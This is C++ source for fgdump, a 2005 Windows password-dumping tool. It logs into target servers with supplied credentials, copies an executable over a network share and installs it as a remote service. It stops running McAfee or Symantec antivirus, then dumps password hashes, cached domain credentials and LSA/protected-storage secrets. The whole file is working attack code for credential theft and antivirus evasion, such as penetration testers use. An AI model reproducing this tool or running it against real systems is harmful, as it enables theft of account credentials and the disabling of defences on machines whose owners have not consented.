/******************************************************************************
fgdump - by fizzgig and the foofus.net group
Copyright (C) 2005 by fizzgig
http://www.foofus.net

This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
as published by the Free Software Foundation; either version 2
of the License, or (at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.
******************************************************************************/

#include "stdafx.h"
#include "fgdump.h"
#include "AVStatus.h"
#include "CacheDumpControl.h"
#include "ProtectedStorageControl.h"
#include "resource.h"
#include "ResourceLoader.h"
#include "ShareFinder.h"
#include "ServiceControl.h"
#include "Impersonator.h"
#include "StringArray.h"
#include "RegQuery.h"
#include <conio.h>

FGDump::FGDump()
{
	bFullRun = true;
	bRunPwdump = true;
	bRunCachedump = true;
	bRunPStgDump = true;
	bSkipExisting = true;
	bContinueOnUnknownAV = false;
	bUsePerHostCreds = false;
	lpszUser = NULL;
	lpszPassword = NULL;
	lpszServer = NULL;
	lpszSuccessfulServers = NULL;
	lpszFailedServers = NULL;

	memset(lpszSourceFile, 0, MAX_PATH + 1);
}

FGDump::~FGDump()
{

}

bool FGDump::FileExists(char* szFile)
{
	try
	{
		std::fstream fin;
		fin.open(szFile, std::ios::in);
		if(fin.is_open())
		{
			fin.close();
			return true;
		}

		fin.close();
		return false;
	}
	catch(...)
	{
		return false;
	}
}

void FGDump::ExitApp(int nReturnCode)
{
	// Just makes sure that variables are cleaned up
	if (lpszServer != NULL)
		delete [] lpszServer;
	if (lpszUser != NULL)
		delete [] lpszUser;
	if (lpszPassword != NULL)
		delete [] lpszPassword;

#ifdef _DEBUG
	printf("Press return to exit...");
	scanf("...");
#endif

	exit(nReturnCode);
}

void FGDump::SetTestOnlyAV(bool bTestOnly)
{
	bFullRun = !bTestOnly;
}

void FGDump::SetSkipCacheDump(bool bSkip)
{
	bRunCachedump = !bSkip;
}

void FGDump::SetSkipPWDump(bool bSkip)
{
	bRunPwdump = !bSkip;
}

void FGDump::SetSkipProtectedStorageDump(bool bSkip)
{
	bRunPStgDump = !bSkip;
}

void FGDump::SetIgnoreExistingFiles(bool bIgnoreExisting)
{
	bSkipExisting = bIgnoreExisting;
}

void FGDump::ContinueOnUnknownAV(bool bContinue)
{
	bContinueOnUnknownAV = bContinue;
}

void FGDump::SetHostfileName(char* szFile)
{
	if (strlen(lpszSourceFile) != 0)
	{
		Log.ReportError(CRITICAL, "Source file already specified: did you mistakenly use -f *AND* -H?\n");
		ExitApp(1);
	}
	strncpy(lpszSourceFile, (const char*)szFile, MAX_PATH);
}

void FGDump::SetPerHostFileName(char* szFile)
{
	if (strlen(lpszSourceFile) != 0)
	{
		Log.ReportError(CRITICAL, "Source file already specified: did you mistakenly use -f *AND* -H?\n");
		ExitApp(1);
	}

	bUsePerHostCreds = true;
	strncpy(lpszSourceFile, (const char*)szFile, MAX_PATH);
}


void FGDump::SetServer(char* szServer)
{
	size_t nLen = strlen((const char*)szServer);
	lpszServer = new char[nLen + 1];
	memset(lpszServer, 0, nLen + 1);
	strncpy(lpszServer, szServer, nLen);
}

void FGDump::SetUser(char* szUsername)
{
	size_t nLen = strlen((const char*)szUsername);
	lpszUser = new char[nLen + 1];
	memset(lpszUser, 0, nLen + 1);
	strncpy(lpszUser, szUsername, nLen);
}

void FGDump::SetPassword(char* szPassword)
{
	size_t nLen = strlen((const char*)szPassword);
	lpszPassword = new char[nLen + 1];
	memset(lpszPassword, 0, nLen + 1);
	strncpy(lpszPassword, szPassword, nLen);
}

int FGDump::Run()
{
	McAfeeControl objMcAfeeService;
	SymantecAVControl objSAVService;
	NetUse objNetUse;
	PWDumpControl objPWDump;
	ResourceLoader objResPWDump, objResPWService, objResLSAExt, objResFGExec;
	ResourceLoader objLSADump;
	CONTROL_OBJECTS sControls;
	size_t nLen;
	FILE* fileInput = NULL;
	char szPwdTemp[101];
	int nSuccesses = 0, nFailures = 0;
	StringArray arrSuccess, arrFailed;
	char COLON[] = ":";

	GetTempPath(MAX_PATH, lpszTempPath);

	if (((lpszServer == NULL && *lpszSourceFile == NULL) || lpszUser == NULL) && !bUsePerHostCreds)
	{
		Log.ReportError(CRITICAL, "ERROR: you must specify a server and username!\n");
		ExitApp(1);
	}

	if (lpszSourceFile == NULL && bUsePerHostCreds)
	{
		Log.ReportError(CRITICAL, "ERROR: you must specify a filename to use!\n");
		ExitApp(1);
	}

	if (lpszPassword == NULL && !bUsePerHostCreds)
	{
		// Prompt the user for a password
		memset(szPwdTemp, 0, 101);
		printf("Please specify the password to use: ");
		int i = 0;
		char pwBuf[100];
		char c = 0;

		memset(pwBuf, 0, 100);

		while(c != '\r' && i < 100)
		{
			c = _getch();
			pwBuf[i++] = c;
			_putch('*');
		}
		pwBuf[--i] = 0;
		_putch('\r');
		_putch('\n');

		memcpy(szPwdTemp, pwBuf, 100);
		SetPassword(szPwdTemp);
	}

	if ((bRunCachedump == false && bRunPwdump == false) && bFullRun == true)
	{
		Log.ReportError(CRITICAL, "ERROR: You cannot specify -c *and* -w, unless you use -t\n");
		ExitApp(1);
	}

	sControls.objMcAfeeService = objMcAfeeService;
	sControls.objNetUse = objNetUse;
	sControls.objPWDump = objPWDump;
	sControls.objSAVService = objSAVService;

	// Get the temporary directory for use in unpacking the files
	memset(lpszPWServicePath, 0, MAX_PATH + 15);
    memset(lpszPWDumpPath, 0, MAX_PATH + 15);
    memset(lpszLSAExtPath, 0, MAX_PATH + 15);
	memset(lpszRemotePath, 0, MAX_PATH);
	memset(lpszFGExecPath, 0, MAX_PATH + 15);
	memset(lpszCacheDumpPath, 0, MAX_PATH + 15);
	memset(lpszPStoragePath, 0, MAX_PATH + 15);

	_snprintf(lpszPWServicePath, MAX_PATH + 15, "%s%s", lpszTempPath, "pwservice.exe");
	_snprintf(lpszPWDumpPath, MAX_PATH + 15, "%s%s", lpszTempPath, "pwdump.exe");
	_snprintf(lpszLSAExtPath, MAX_PATH + 15, "%s%s", lpszTempPath, "lsaext.dll");
	_snprintf(lpszFGExecPath, MAX_PATH + 15, "%s%s", lpszTempPath, "fgexec.exe");
	_snprintf(lpszCacheDumpPath, MAX_PATH + 15, "%s%s", lpszTempPath, "cachedump.exe");
	_snprintf(lpszPStoragePath, MAX_PATH + 15, "%s%s", lpszTempPath, "pstgdump.exe");

	if (!objResPWDump.UnpackResource(IDR_PWDUMP, lpszPWDumpPath))
		ExitApp(1);
	if (!objResPWService.UnpackResource(IDR_PWSERVICE, lpszPWServicePath))
		ExitApp(1);
	if (!objResLSAExt.UnpackResource(IDR_LSAEXT, lpszLSAExtPath))
		ExitApp(1);
	if (!objResFGExec.UnpackResource(IDR_FGEXEC, lpszFGExecPath))
		ExitApp(1);
	
	if (strlen(lpszSourceFile) > 0)
	{
		// User specified a file containing hosts to run against
		char szLine[200];
		size_t nPos;

		fileInput = fopen(lpszSourceFile, "r");
		if (fileInput == NULL)
		{
			Log.ReportError(CRITICAL, "The file %s was not found. Sorry, no potato.\n", lpszSourceFile);
			ExitApp(-1);
		}
		fseek(fileInput, 0, SEEK_SET);

		// Read in data a line at a time and trim it
		while (fgets(szLine, 200, fileInput) != NULL)
		{
			if ((nPos = strcspn(szLine, "\r\n")) >= 0)
			{
				szLine[nPos] = '\0';
			}

			if (strlen(szLine) > 0)
			{
				if (lpszServer != NULL)
					delete [] lpszServer;

				if (bUsePerHostCreds)
				{
					char* szResult;

					if (lpszPassword != NULL)
						delete [] lpszPassword;

					if (lpszUser != NULL)
						delete [] lpszUser;

					// The line has to be broken up by ':' characters as host:user:pwd
					szResult = strtok(szLine, COLON);
					if (szResult == NULL)
					{
						Log.ReportError(CRITICAL, "The line '%s' is not of the correct 'host:user:pwd' format, skipping this entry\n", szLine);
						continue;
					}
		
					// Host name
					nLen = strlen(szResult);
					lpszServer = new char[nLen + 1];
					memset(lpszServer, 0, nLen + 1);
					strncpy(lpszServer, szResult, nLen);

					szResult = strtok(NULL, COLON);
					if (szResult == NULL)
					{
						Log.ReportError(CRITICAL, "The line '%s' is not of the correct 'host:user:pwd' format, skipping this entry\n", szLine);
						continue;
					}
		
					// Username
					nLen = strlen(szResult);
					lpszUser = new char[nLen + 1];
					memset(lpszUser, 0, nLen + 1);
					strncpy(lpszUser, szResult, nLen);

					szResult = strtok(NULL, COLON);
					if (szResult == NULL)
					{
						Log.ReportError(CRITICAL, "The line '%s' is not of the correct 'host:user:pwd' format, skipping this entry\n", szLine);
						continue;
					}
		
					// Password
					nLen = strlen(szResult);
					lpszPassword = new char[nLen + 1];
					memset(lpszPassword, 0, nLen + 1);
					strncpy(lpszPassword, szResult, nLen);
				}
				else
				{
					nLen = strlen(szLine);
					lpszServer = new char[nLen + 1];
					memset(lpszServer, 0, nLen + 1);
					strncpy(lpszServer, szLine, nLen);
				}

				if (DumpServer(sControls) < 0)
				{
					Log.ReportError(CRITICAL, "Error dumping server %s, see previous messages for details\n", lpszServer);
					nFailures++;
					arrFailed.Add(lpszServer);
				}
				else
				{
					nSuccesses++;
					arrSuccess.Add(lpszServer);
				}
			}
		}

		// Was there an error or end-of-file?
		if (!feof(fileInput))
		{
			Log.ReportError(CRITICAL, "Unexpected error reading from the file (error %d)\n", GetLastError());
			fclose(fileInput);
			ExitApp(-1);
		}

		fclose(fileInput);
	}
	else
	{
		if (DumpServer(sControls) < 1)
		{
			Log.ReportError(CRITICAL, "Error dumping server %s, see previous messages for details\n", lpszServer);
			nFailures++;
			arrFailed.Add(lpszServer);
		}
		else
		{
			nSuccesses++;
			arrSuccess.Add(lpszServer);
		}
	}

	Log.ReportError(CRITICAL, "\n-----Summary-----\n\n");
	Log.ReportError(CRITICAL, "Failed servers:\n");
	char* szTemp = arrFailed.GetFirstString();
	if (szTemp == NULL)
		Log.ReportError(CRITICAL, "NONE\n");
	else
	{
		while (szTemp != NULL)
		{
			Log.ReportError(CRITICAL, "%s\n", szTemp);
			szTemp = arrFailed.GetNextString();
		}
	}

	Log.ReportError(CRITICAL, "\nSuccessful servers:\n");
	szTemp = arrSuccess.GetFirstString();
	if (szTemp == NULL)
		Log.ReportError(CRITICAL, "NONE\n");
	else
	{
		while (szTemp != NULL)
		{
			Log.ReportError(CRITICAL, "%s\n", szTemp);
			szTemp = arrSuccess.GetNextString();
		}
	}

	Log.ReportError(CRITICAL, "\nTotal failed: %d\n", nFailures);
	Log.ReportError(CRITICAL, "Total successful: %d\n", nSuccesses);

	return 0;
}

int FGDump::DumpServer(CONTROL_OBJECTS objControls)
{
	Impersonator impersonate;
	char szPath[MAX_PATH + 1];
	bool bSkipPwdump = false, bSkipCachedump = false, bSkipPStg = false;
	char* szWindowsVersion;

	Log.ReportError(CRITICAL, "\n** Beginning dump on server %s **\n", lpszServer);
	lpszCacheDumpRemotePath = NULL;

	try
	{
		// The impersonation object will automagically call RevertToSelf when it goes out of scope
		if (!impersonate.BeginImpersonation(lpszServer, lpszUser, lpszPassword))
		{
			throw(1);
		}
		else
		{
			// Get the Windows version
			if (RegQuery::GetOSVersion(lpszServer, &szWindowsVersion))
			{
				if (szWindowsVersion != NULL)
				{
					Log.ReportError(REGULAR_OUTPUT, "OS (%s): %s\n", lpszServer, szWindowsVersion);
					free(szWindowsVersion);
				}
				else
				{
					Log.ReportError(CRITICAL, "Unable to determine OS version, see previous error for details\n");
				}
			}
			else
				Log.ReportError(CRITICAL, "Unable to determine OS version, see previous error for details\n");

			// Is the remote service manager running? If not, pwdump and cachedump won't work
			ServiceControl sc;
			SERVICE_STATUS status;
			FG_SERVICE_STATUS serviceStatus = sc.QueryServiceStatus(lpszServer, "RemoteRegistry", &status);
			if (serviceStatus == INSTALLED)
			{
				if (status.dwCurrentState != SERVICE_RUNNING)
				{
					Log.ReportError(CRITICAL, "CRITICAL: Error retrieving remote service information. Remote registry may not be running, simple file sharing may be enabled, or the account may not have 'Log On as Batch Job' permission. Skipping this host.\n");
					throw(1);
				}
			}
			else
			{
				Log.ReportError(CRITICAL, "CRITICAL: Error retrieving remote service information. Remote registry may not be running, simple file sharing may be enabled, or the account may not have 'Log On as Batch Job' permission. Skipping this host.\n");
				throw(1);
			}

			// Remote registry is installed, proceed

			// Check if the .pwdump and .cachedump files for this server exist, and if so, skip them
			lpszCacheDumpRemotePath = new char[MAX_PATH];
			memset(lpszCacheDumpRemotePath, 0, MAX_PATH);
			memset(szPath, 0, MAX_PATH + 1);
			_snprintf(szPath, MAX_PATH, "%s.pwdump", lpszServer);
			bSkipPwdump = (FileExists(szPath) && bSkipExisting) || !bRunPwdump;
			if (bSkipPwdump)
				Log.ReportError(INFO, "INFO: skipping pwdump on %s because %s exists or I was told to skip pwdumps\n", lpszServer, szPath);

			memset(szPath, 0, MAX_PATH + 1);
			_snprintf(szPath, MAX_PATH, "%s.cachedump", lpszServer);
			bSkipCachedump = (FileExists(szPath) && bSkipExisting) || !bRunCachedump;
			if (bSkipCachedump)
				Log.ReportError(INFO, "INFO: skipping cachedump on %s because %s exists or I was told to skip cache dumps\n", lpszServer, szPath);

			memset(szPath, 0, MAX_PATH + 1);
			_snprintf(szPath, MAX_PATH, "%s.lsadump", lpszServer);
			bSkipPStg = (FileExists(szPath) && bSkipExisting) || !bRunPStgDump;
			if (bSkipPStg)
				Log.ReportError(INFO, "INFO: skipping dump of LSA secrets on %s because %s exists or I was told to skip LSA dumps\n", lpszServer, szPath);

			if (!(bSkipCachedump && bSkipPwdump && bSkipPStg))
			{
				if (InstallAndStartFGExec() == false)
				{
					throw(1);	// Detailed errors should already have been printed if this fails
				}
			}

			if (!(bSkipCachedump && bSkipPwdump && bSkipPStg))
			{
				if (objControls.objMcAfeeService.IsServiceInstalled(lpszServer))
				{
					if (bFullRun)
					{
						switch(objControls.objMcAfeeService.GetServiceState(lpszServer))
						{
						case AV_STOPPED:
							Log.ReportError(INFO, "McAfee is installed on this box, but not currently running. Leaving the service alone but proceeding with pwdump and cachedump\n");
							if (!bSkipPwdump)
								objControls.objPWDump.Execute(lpszPWDumpPath, lpszServer);
							if (!bSkipCachedump)
								RunCacheDump(lpszTempPath);			
							if (!bSkipPStg)
								RunProtectedStorageDump(lpszTempPath);			
							break;
						case AV_STARTED:
							if (!(bSkipPwdump && bSkipCachedump && bSkipPStg))
							{
								Log.ReportError(INFO, "McAfee is running on this machine, shutting it down for a bit...\n");
								if (objControls.objMcAfeeService.StopService(lpszServer))
								{
									if (!bSkipPwdump)
										objControls.objPWDump.Execute(lpszPWDumpPath, lpszServer);		// Only run this if McAfee was stopped!!
									if (!bSkipCachedump)
										RunCacheDump(lpszTempPath);			
									if (!bSkipPStg)
										RunProtectedStorageDump(lpszTempPath);			
								}
								objControls.objMcAfeeService.StartService(lpszServer);
							}
							break;
						case AV_UNKNOWN:
						default:
							if (bContinueOnUnknownAV)
							{
								Log.ReportError(INFO, "McAfee is installed on this box, but is in an unknown state. Not attempting to stop it, but continuing.\n");
								if (!bSkipPwdump)
									objControls.objPWDump.Execute(lpszPWDumpPath, lpszServer);
								if (!bSkipCachedump)
									RunCacheDump(lpszTempPath);			
								if (!bSkipPStg)
									RunProtectedStorageDump(lpszTempPath);			
							}
							else
								Log.ReportError(CRITICAL, "McAfee is installed on this box, but is in an unknown state. Aborting the pwdump.\n");
							break;
						}
					}
					else
					{
						Log.ReportError(CRITICAL, "McAfee is installed on this box.\n");
					}
				}
				else if (objControls.objSAVService.IsServiceInstalled(lpszServer))
				{
					if (bFullRun)
					{
						switch(objControls.objSAVService.GetServiceState(lpszServer))
						{
						case AV_STOPPED:
							Log.ReportError(INFO, "Symantec AV is installed on this box, but not currently running. Leaving the service alone but proceeding with pwdump and cachedump\n");
							if (!bSkipPwdump)
								objControls.objPWDump.Execute(lpszPWDumpPath, lpszServer);
							if (!bSkipCachedump)
								RunCacheDump(lpszTempPath);			
							if (!bSkipPStg)
								RunProtectedStorageDump(lpszTempPath);			
							break;
						case AV_STARTED:
							if (!(bSkipPwdump && bSkipCachedump && bSkipPStg))
							{
								Log.ReportError(INFO, "Symantec AV is running on this machine, shutting it down for a bit...\n");
								if (objControls.objSAVService.StopService(lpszServer))
								{
									if (!bSkipPwdump)
										objControls.objPWDump.Execute(lpszPWDumpPath, lpszServer);		// Only run this if Symantec AV was stopped!!
									if (!bSkipCachedump)
										RunCacheDump(lpszTempPath);			
									if (!bSkipPStg)
										RunProtectedStorageDump(lpszTempPath);			
								}
								objControls.objSAVService.StartService(lpszServer);
							}
							break;
						case AV_UNKNOWN:
						default:
							if (bContinueOnUnknownAV)
							{
								Log.ReportError(INFO, "Symantec AV is installed on this box, but is in an unknown state. Not attempting to stop it, but continuing.\n");
								if (!bSkipPwdump)
									objControls.objPWDump.Execute(lpszPWDumpPath, lpszServer);
								if (!bSkipCachedump)
									RunCacheDump(lpszTempPath);			
								if (!bSkipPStg)
									RunProtectedStorageDump(lpszTempPath);			
							}
							else
								Log.ReportError(CRITICAL, "Symantec AV is installed on this box, but is in an unknown state. Aborting the pwdump.\n");
							break;
						}
					}
					else
					{
						Log.ReportError(CRITICAL, "Norton Anitvirus is installed on this box.\n");
					}
				}
				else
				{
					Log.ReportError(INFO, "Antivirus does not appear to be installed\n");
					if (bFullRun)
					{
						if (!bSkipPwdump)
							objControls.objPWDump.Execute(lpszPWDumpPath, lpszServer);
						if (!bSkipCachedump)
							RunCacheDump(lpszTempPath);		
						if (!bSkipPStg)
							RunProtectedStorageDump(lpszTempPath);			

					}
				}
			}
			else
			{
				Log.ReportError(CRITICAL, "Skipping: nothing to do\n");
			}

			// Get rid of fgexec stuff
			if (!(bSkipCachedump && bSkipPwdump && bSkipPStg))
			{
				StopAndRemoveFGExec();
			}

		}
	}
	catch(...)
	{
		if (lpszCacheDumpRemotePath != NULL)
			delete [] lpszCacheDumpRemotePath;
		
		return -1;
	}

	if (lpszCacheDumpRemotePath != NULL)
		delete [] lpszCacheDumpRemotePath;
	
	return 1;
}

bool FGDump::InstallAndStartFGExec()
{
	ShareFinder objShares;
	ServiceControl objSC;
 
	memset(szDriveTemp, 0, 3);
	szDriveTemp[0] = objShares.GetUnusedDriveLetter();
	szDriveTemp[1] = ':';
	if (szDriveTemp[0] != 0)
	{
		objShares.EnumerateShares(lpszServer);
		if (objShares.BindUploadShareToLocalDrive(lpszServer, szDriveTemp, MAX_PATH, &lpszCacheDumpRemotePath) && strlen(lpszCacheDumpRemotePath) > 0)
		{
			// Copy the files
			_snprintf(lpszRemotePath, MAX_PATH, "%s\\%s", szDriveTemp, "fgexec.exe");
			CopyFile(lpszFGExecPath, lpszRemotePath, FALSE);

			// Install the fgexec service
			_snprintf(lpszRemotePath, MAX_PATH, "%s\\%s", lpszCacheDumpRemotePath, "fgexec.exe");
			Log.ReportError(DEBUG, "Execution path of fgexec is %s\n", lpszRemotePath);
			if(objSC.InstallService(lpszServer, "fgexec", "fgexec", lpszRemotePath))
			{
				if (objSC.StartService(lpszServer, "fgexec", 30))
				{
					Log.ReportError(DEBUG, "Successfully started fgexec service on %s\n", lpszServer);
				}
				else
				{
					Log.ReportError(CRITICAL, "Failed to start fgexec service on %s, uninstalling\n", lpszServer);
					if (!objSC.UninstallService(lpszServer, "fgexec"))
							Log.ReportError(CRITICAL, "WARNING: Unable to uninstall the fgexec service, you may have to do it by hand!\n");

					objShares.UnbindDrive(szDriveTemp);
					return false;
				}
			}
			else
			{
				Log.ReportError(CRITICAL, "Failed to install fgexec service on %s\n", lpszServer);
				objShares.UnbindDrive(szDriveTemp);
				return false;
			}
		}
		else
		{
			Log.ReportError(CRITICAL, "Unable to establish a writable connection to %s, cachedump will not be performed\n", lpszServer);
			return false;
		}
	}

	return true;
}

bool FGDump::StopAndRemoveFGExec()
{
	ServiceControl objSC;
	ShareFinder objShares;

	if (objSC.StopService(lpszServer, "fgexec", 30))
	{
		Log.ReportError(DEBUG, "Successfully stopped fgexec service on %s\n", lpszServer);
		if (!objSC.UninstallService(lpszServer, "fgexec"))
			Log.ReportError(CRITICAL, "WARNING: Unable to uninstall the fgexec service, you may have to do it by hand!\n");
	}
	else
	{
		Log.ReportError(CRITICAL, "WARNING: failed to stop fgexec service on %s! You may need to stop it and uninstall it by hand!!\n", lpszServer);
	}

	_snprintf(lpszRemotePath, MAX_PATH, "%s\\%s", szDriveTemp, "cachedump.exe");
	DeleteFile(lpszRemotePath);
	_snprintf(lpszRemotePath, MAX_PATH, "%s\\%s", szDriveTemp, "fgexec.exe");
	DeleteFile(lpszRemotePath);

	if (strlen(szDriveTemp) > 0)
		objShares.UnbindDrive(szDriveTemp);

	memset(szDriveTemp, 0, 3);

	return true;
}

void FGDump::RunCacheDump(char* lpszTempPath)
{
	ResourceLoader objResCacheDump;
	CacheDumpControl objCacheDump;

	if (!objResCacheDump.UnpackResource(IDR_CACHEDUMP, lpszCacheDumpPath))
		ExitApp(1);

	_snprintf(lpszRemotePath, MAX_PATH, "%s\\%s", szDriveTemp, "cachedump.exe");
	CopyFile(lpszCacheDumpPath, lpszRemotePath, FALSE);

	if (!objCacheDump.Execute(lpszFGExecPath, lpszCacheDumpRemotePath, lpszServer))
	{
		Log.ReportError(CRITICAL, "Failed to dump cache");
	}
}

void FGDump::RunProtectedStorageDump(char* lpszTempPath)
{
	ResourceLoader objResPStgDump;
	ProtectedStorageControl objPStgDump;

	if (!objResPStgDump.UnpackResource(IDR_PSTGDUMP, lpszPStoragePath))
		ExitApp(1);

	_snprintf(lpszRemotePath, MAX_PATH, "%s\\%s", szDriveTemp, "pstgdump.exe");
	CopyFile(lpszPStoragePath, lpszRemotePath, FALSE);

	if (!objPStgDump.Execute(lpszFGExecPath, lpszCacheDumpRemotePath, lpszServer, lpszUser, lpszPassword))
	{
		Log.ReportError(CRITICAL, "Failed to dump protected storage");
	}
}